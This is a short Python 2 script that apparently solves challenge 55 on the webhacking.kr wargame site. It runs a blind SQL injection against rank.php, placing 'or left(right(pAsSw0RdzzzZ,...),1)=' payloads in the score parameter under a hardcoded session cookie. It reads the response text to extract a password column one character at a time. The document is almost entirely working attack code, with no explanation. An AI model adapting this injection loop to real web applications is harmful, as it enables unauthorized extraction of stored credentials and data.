webhacking.kr_55

import urllib2
import time

session = "c90b8e73b8e3e20f2fd1596f5a9b080b"
url = "http://webhacking.kr/challenge/web/web-31/rank.php"
for y in xrange(20,0,-1):
    for x in xrange(0x20, 0x7e):
        query = "?score=-1%20or%20left(right(pAsSw0RdzzzZ,"+str(y)+"),1)%3d" + str(hex(x))
        req = urllib2.Request(url+query)
        req.add_header("Cookie", "PHPSESSID="+session)
        if -1 == urllib2.urlopen(req).read().find("id :  // "):
            print chr(x),
        time.sleep(0.5)
    print